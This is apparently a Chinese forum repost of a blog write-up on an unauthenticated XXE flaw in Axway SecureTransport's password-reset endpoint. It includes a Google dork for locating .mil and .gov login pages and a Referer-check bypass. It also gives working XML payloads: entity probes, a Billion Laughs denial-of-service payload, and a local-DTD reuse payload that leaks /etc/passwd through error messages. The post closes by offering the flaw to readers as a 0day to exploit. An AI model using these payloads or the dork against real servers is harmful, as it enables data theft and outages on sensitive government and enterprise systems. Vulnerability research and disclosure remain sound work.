文章来源:https://zero.lol/2019-07-21-axway-securetransport-xml-injection/


0x01 前言

当对大公司做渗透测试时,通常我们会发现相同的软件在不同公司中被使用。过去几周我一直在做渗透测试,其间我至少三次遇到过一个名为Axway SecureTransport Login的软件。Axway官网介绍道:

“Axway SecureTransport是一个多协议的MFT网关,用于保护,管理和跟踪企业内部人员的文件传输以及用户社区,云和移动设备安全。 这款产品设计初衷是处理所有事件——从系统,网站,业务线以及合作伙伴之间的大容量高速安全的文件传输,到用户驱动的通信和移动终端。”

它似乎是很关键的设施?Nope

0x01.1 哪些组织使用它?

使用Google黑客,看看哪些组织在使用这款软件。

intitle:"Axway SecureTransport" "Login" (site:mil OR site:gov)

0x02 发现漏洞

正如我在前面说的那样,我在渗透测试过程中遇到Axway SecureTransport login好几次了,决定稍微查看一下。最终我受够了,碰到太多次了,我认为它一定有蹊跷。

毫无疑问,寻找漏洞的第一步是确定攻击面。看起来它是一款企业软件,并且要使用的话需要提供凭据。那么我会尝试坚持使用目前的权限做一些操作。

我做的第一件事是读页面源码(首页)。在一个名为login.js的文件中我发现了以下代码:

var parameters = "<resetPassword><email>" + userEmail + "</email></resetPassword>";
$.ajax({
    url : "/api/v1.0/myself/resetPassword",
    type : 'POST',
    contentType : 'application/xml',
    data : parameters,
    cache : false,
    success : function(data) {
    var msg = $.tmpl('<p>${m1}</p><p>${m2}</p>', {
        m1: _('Your request is now submitted.'),
        m2: message
        });

    errorPlaceholder.success(msg);
    }
});

简单阅读代码,显然可以看出我们可以发送密码重置邮件(无需身份验证)。还可以看到,在XMLHttpRequest中ContentType被设置为XML,并且用XML数据存储var参数。

这给我们提供了一个很好的攻击模版,我们可以发送一些有效的XML数据。管理员禁用了忘记密码选项,这就是我们看不到它的原因。但是这是完全无效的,因为程序只是从UI层面禁用了它。

打开Burp进行一些快速测试。发送请求https://placeholder/api/v1.0/myself/resetPassword(GET方式),拦截SecureTransport的请求。响应如下:

很明显,通过报错可知,服务器要求提供Referer标头并且对其进行检查是否属于白名单。Ok,将Referer设置为localhost,便可轻松绕过。

设置好Referer标头后,接下来尝试发送POST请求,看看会发生什么。

服务器返回错误信息:

{
  "message" : "javax.xml.bind.UnmarshalException
   - with linked exception:
   [org.xml.sax.SAXParseException; Premature end of file.]"
}

该错误信息通常表示服务器尝试解析一个空的XML文档。逐步测试,先随便插入一个标签<test>,看看反映:

这次服务器返回的报错信息为:

{
  "message" : "javax.xml.bind.UnmarshalException:
  unexpected element (uri:&quot;&quot;, local:&quot;test&quot;).
  Expected elements are &lt;{}resetPassword&gt;"
}

很明显,服务器希望收到<resetPassword></resetPassword>元素,让我们进一步测试看看会发生什么。

从图片可以看到,还需要发送email标签。我们在payload里添加email标签,并且在顶部添加XML声明,看看会怎样。

<?xml version="1.0" encoding="UTF-8"?>
<resetPassword>
    <email>lol@lol.lol</email>
</resetPassword>

服务器给出响应204...

因为响应没有任何错误,所以我们现在可以确定XML被成功地解析。我之前不相信这点,然而当我在表单中插入有效的email时,服务器反馈的也是204响应。

但不好的一点是,服务器没有反馈出任何有效内容,这意味着我们要盲目探索。好的一点是,当外部实体或dtd声明被禁用时,SAXParser会抛出异常。我们可以综合这两点来确认漏洞,摸索前进。

0x03 确认漏洞

我们可以随意发送XML数据给服务器,并且服务器将处理这些数据。 考虑到服务器易受XML注入影响,我们还可以尝试带入外部实体。

现在尝试定义一些实体,看看会发生什么。

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY exists SYSTEM "file:///">
]>
<resetPassword>
    <email>&exists;&doesnt;</email>
</resetPassword>

{
  "message" : "javax.xml.bind.UnmarshalException
   - with linked exception:
   [org.xml.sax.SAXParseException; lineNumber: 6;
    columnNumber: 25; The entity &quot;doesnt&quot;
    was referenced, but not declared.]"
}

通常如果正确配置了文档类型,将触发异常。如果用户使用的是受限的URI hander(http,ftp,gopher和file),SAXParser也会发生异常,但我没有测试它们。

0x04 利用漏洞

因为服务器不会返回有效内容,所以我们只能尝试基于报错的XXE或out-of-band XXE。但是在我们测试时,发现Axway SecureTransport似乎安装了某种防火墙,隔绝了所有向外部发出的请求,这使得利用传统XXE攻击方式更加困难。

基于这一点,我的想法是通过Blind-SSRF或加载本地系统上自带的的DTD文件,然后结合Payload内容触发错误。

但是我没有License,拿不到源代码,无法做白盒审计,所以无法映射出内部的攻击。这个漏洞虽然存在,但有一些限制。

0x04.1 SSRF Payload

XXE漏洞非常有意思,因为它可以反映出各种安全问题。最常见的XXE攻击是通过发送服务端请求来攻击内部服务。

0x04.2 DoS攻击 Payload

这个软件还易受DoS攻击。在2002年,媒体报道了Billion Laughs攻击事件。 Billion Laughs攻击会使得服务器加载大量实体,耗尽资源然后崩溃。

这种攻击有几个变体,非常有创意 :)

我在维基百科上找到了下面这个payload:

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ELEMENT lolz (#PCDATA)>
 <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

0x04.3 利用本地DTD

另一种相对较新颖的技术是本地DTD再利用。目前人们通常都会使用这个技术来绕过XXE攻击的一些限制。通过该技术,我们可以重新定义本地文件系统中已经存在的DTD实体。然后,我们可以成功地让应用程序发生错误。

举个例子,下面是一个DTD再利用攻击的payload:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE resetPassword [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/xml/fontconfig/fonts.dtd">
<!ENTITY % expr 'aaa)>
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///abcxyz/%file;'>">
%eval;
%error;
<!ELEMENT aa (bb'>
    %local_dtd;
]>
<resetPassword></resetPassword>

确实,这很有创意。

0x05 小结

如果读者想要了解攻击Axway SecureTransport软件,那么参考本文的漏洞可以帮助你。DTD再利用是一种较新颖的攻击技术,估计在不久之后由于XML解析器和防火墙的完善,我们可以看到更多新鲜的攻击方式。很遗憾没有License,这使我在进一步测试时非常不舒服,我只能测试网络上的目标。

那么各位,请享受0day。

点击收藏 | 2 关注 | 2
  • 动动手指,沙发就是你的了!
登录 后跟帖